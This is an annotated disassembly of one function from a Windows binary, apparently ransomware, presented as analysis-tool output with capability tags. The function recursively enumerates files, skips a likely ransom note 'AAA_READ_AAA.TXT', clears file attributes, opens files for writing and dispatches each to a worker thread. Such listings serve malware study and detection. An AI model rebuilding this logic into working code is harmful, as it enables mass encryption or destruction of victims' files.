Function at 0x14000d230
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x2a88]
mov eax, 0x2b88
call fcn.14000d0f0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2a70], rax
mov rax, qword [rbp + 0x2ae0]
mov rbx, rdx
mov qword [rsp + 0x60], rax
mov rsi, rcx
mov dword [rsp + 0x54], r9d
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x70], rdx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x410
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x9f0]
mov r8d, 0x410
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x1a30]
mov r8d, 0x410
call fcn.140002350
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e9dc]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1a30]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, rbx
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor r10d, r10d
mov qword [rsp + 0x58], rax
lea rdi, [0x140000000]
mov rbx, rax
test rax, rax
je 0x14000d8f8
test byte [rbp - 0x80], 0x10
jne 0x14000d75b
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000d381
mov r9d, 0x2e
mov ecx, r10d
nop dword [rax]
test r9w, r9w
je 0x14000d381
movzx eax, word [rcx + rdi + 0x3e9e2]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000d360
test r10b, r10b
jne 0x14000d75b
test r8d, r8d
je 0x14000d75b
test edx, edx
jne 0x14000d3bf
mov r8d, 0x2e
mov rcx, r10
test r8w, r8w
je 0x14000d3bf
movzx eax, word [rcx + rdi + 0x3e9ea]
add rcx, 2
movzx r8d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000d3a0
test r10b, r10b
jne 0x14000d75b
test edx, edx
je 0x14000d75b
lea rdx, str.AAA_READ_AAA.TXT
lea rcx, [rbp - 0x54]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000d75b
lea rcx, [rbp - 0x54]
call fcn.1400103e0
test eax, eax
jne 0x14000d75b
lea rcx, [rbp - 0x54]
call fcn.140010660
test eax, eax
jne 0x14000d75b
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x1a30]
lea rdx, [0x14003e9f0]
lea rcx, [rbp + 0x1210]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edi, edi
lea rcx, [rbp + 0x1210]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000d47a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000d486
lea rcx, [rbp + 0x1210]
call fcn.14000ff20
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000d5ce
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x1a30]
lea rdx, [0x14003ea00]
lea rcx, [rbp + 0x2250]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [rbp - 0x64]
mov edx, 0x768
mov eax, dword [rbp - 0x60]
mov ecx, 0x40
shl rdi, 0x20
or rdi, rax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rbx + 0x53c]
lea rdx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0x12c]
lea rdx, [rbp + 0x2250]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov qword [rbx + 0x750], rax
mov rax, qword [rbp + 0x2ae8]
mov qword [rbx + 0x758], rax
mov rax, qword [rbp + 0x2af0]
mov qword [rbx + 0x760], rax
mov qword [rbx + 0x748], rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
lea r8, [0x14000f880]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [rbp + 0x2ad0]
mov rbx, rax
mov rcx, rax
cmp edi, dword [rsp + 0x54]
jne 0x14000d5bb
or edx, 0xffffffff
mov dword [rsp + 0x50], 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
jmp 0x14000d5d8
inc edi
mov dword [rsp + 0x50], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
jmp 0x14000d5d8
mov edi, dword [rbp + 0x2ad0]
mov dword [rsp + 0x50], edi
or rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rsi + rax*2], 0
jne 0x14000d5e0
add eax, eax
add eax, 0xfffffffa
cmp eax, 0xc1
ja 0x14000d5fe
mov rcx, rsi
call fcn.1400361a0
lea rdi, [0x140000000]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000d8ed
nop word [rax + rax]
test byte [rbp - 0x80], 0x10
jne 0x14000d8d1
movzx r8d, word [rbp - 0x54]
add r8d, 0xffffffd2
mov edx, r8d
jne 0x14000d65f
xor ecx, ecx
mov r9d, 0x2e
test r9w, r9w
je 0x14000d65f
movzx eax, word [rcx + rdi + 0x3ea12]
add rcx, 2
movzx r9d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000d640
xor eax, eax
test al, al
jne 0x14000d8d1
test edx, edx
je 0x14000d8d1
test r8d, r8d
jne 0x14000d69f
mov edx, 0x2e
mov ecx, eax
nop dword [rax]
test dx, dx
je 0x14000d69f
movzx eax, word [rcx + rdi + 0x3e9ee]
add rcx, 2
movzx edx, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000d680
xor edi, edi
test dil, dil
jne 0x14000d8d1
test r8d, r8d
je 0x14000d8d1
lea rdx, str.AAA_READ_AAA.TXT
lea rcx, [rbp - 0x54]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000d8d1
lea rcx, [rbp - 0x54]
call fcn.1400103e0
test eax, eax
jne 0x14000d8d1
lea rcx, [rbp - 0x54]
call fcn.140010660
test eax, eax
jne 0x14000d8d1
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x1a30]
lea rdx, str._s_s
lea rcx, [rbp + 0x1210]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000d76a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000d776
mov eax, dword [rbp + 0x2ad0]
mov dword [rsp + 0x50], eax
jmp 0x14000d605
lea rcx, [rbp + 0x1210]
call fcn.14000ff20
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000d8af
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp - 0x64]
lea r8, [rbp + 0x1a30]
mov eax, dword [rbp - 0x60]
lea rdx, [0x14003ea28]
shl rdi, 0x20
lea rcx, [rbp + 0x2250]
or rdi, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x768
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rbx + 0x53c]
lea rdx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0x12c]
lea rdx, [rbp + 0x2250]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov qword [rbx + 0x750], rax
mov rax, qword [rbp + 0x2ae8]
mov qword [rbx + 0x758], rax
mov rax, qword [rbp + 0x2af0]
mov qword [rbx + 0x760], rax
mov qword [rbx + 0x748], rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
lea r8, [0x14000f880]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [rsp + 0x50]
mov rbx, rax
mov rcx, rax
cmp edi, dword [rsp + 0x54]
jne 0x14000d89e
or edx, 0xffffffff
mov dword [rsp + 0x50], 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
jmp 0x14000d8a4
inc edi
mov dword [rsp + 0x50], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], 0
jne 0x14000d8b3
add eax, eax
add eax, 0xfffffffa
cmp eax, 0xc1
ja 0x14000d8d1
mov rcx, rsi
call fcn.1400361a0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
lea rdi, [0x140000000]
test eax, eax
jne 0x14000d620
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x14000d902
mov eax, dword [rbp + 0x2ad0]
mov dword [rsp + 0x50], eax
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str..
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
test rax, rax
je 0x14000dbd3
test byte [rbp - 0x80], 0x10
mov edi, dword [rbp + 0x2ad8]
je 0x14000da71
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000d997
xor ecx, ecx
lea rdi, [0x140000000]
mov r9d, 0x2e
nop
test r9w, r9w
je 0x14000d991
movzx eax, word [rcx + rdi + 0x3ea46]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000d970
mov edi, dword [rbp + 0x2ad8]
xor eax, eax
test al, al
jne 0x14000da71
test r8d, r8d
je 0x14000da71
test edx, edx
jne 0x14000d9e7
mov r8d, 0x2e
lea rdi, [0x140000000]
mov ecx, eax
nop dword [rax]
test r8w, r8w
je 0x14000d9df
movzx eax, word [rcx + rdi + 0x3e9fe]
add rcx, 2
movzx r8d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000d9c0
mov edi, dword [rbp + 0x2ad8]
xor eax, eax
test al, al
jne 0x14000da71
test edx, edx
je 0x14000da71
mov rdx, rsi
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003ea24]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x2af0]
lea rcx, [rbp + 0x9f0]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x2ae8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14000d230
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000dbca
test byte [rbp - 0x80], 0x10
je 0x14000dbb5
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000dad7
xor ecx, ecx
lea rdi, [0x140000000]
mov r9d, 0x2e
nop dword [rax + rax]
test r9w, r9w
je 0x14000dad1
movzx eax, word [rcx + rdi + 0x3ea4e]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000dab0
mov edi, dword [rbp + 0x2ad8]
xor ecx, ecx
test cl, cl
jne 0x14000dbb5
test r8d, r8d
je 0x14000dbb5
test edx, edx
jne 0x14000db27
mov r8d, 0x2e
lea rdi, [0x140000000]
mov eax, ecx
nop dword [rax]
test r8w, r8w
je 0x14000db1f
movzx ecx, word [rax + rdi + 0x3ea56]
add rax, 2
movzx r8d, cx
movzx edx, word [rbp + rax - 0x54]
sub edx, ecx
je 0x14000db00
mov edi, dword [rbp + 0x2ad8]
xor ecx, ecx
test cl, cl
jne 0x14000dbb5
test edx, edx
je 0x14000dbb5
mov rdx, rsi
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003ea58]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x2af0]
lea rcx, [rbp + 0x9f0]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x2ae8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14000d230
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000da86
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2a70]
xor rcx, rsp
call fcn.140001030
add rsp, 0x2b88
pop rdi
pop rsi
pop rbx
pop rbp
ret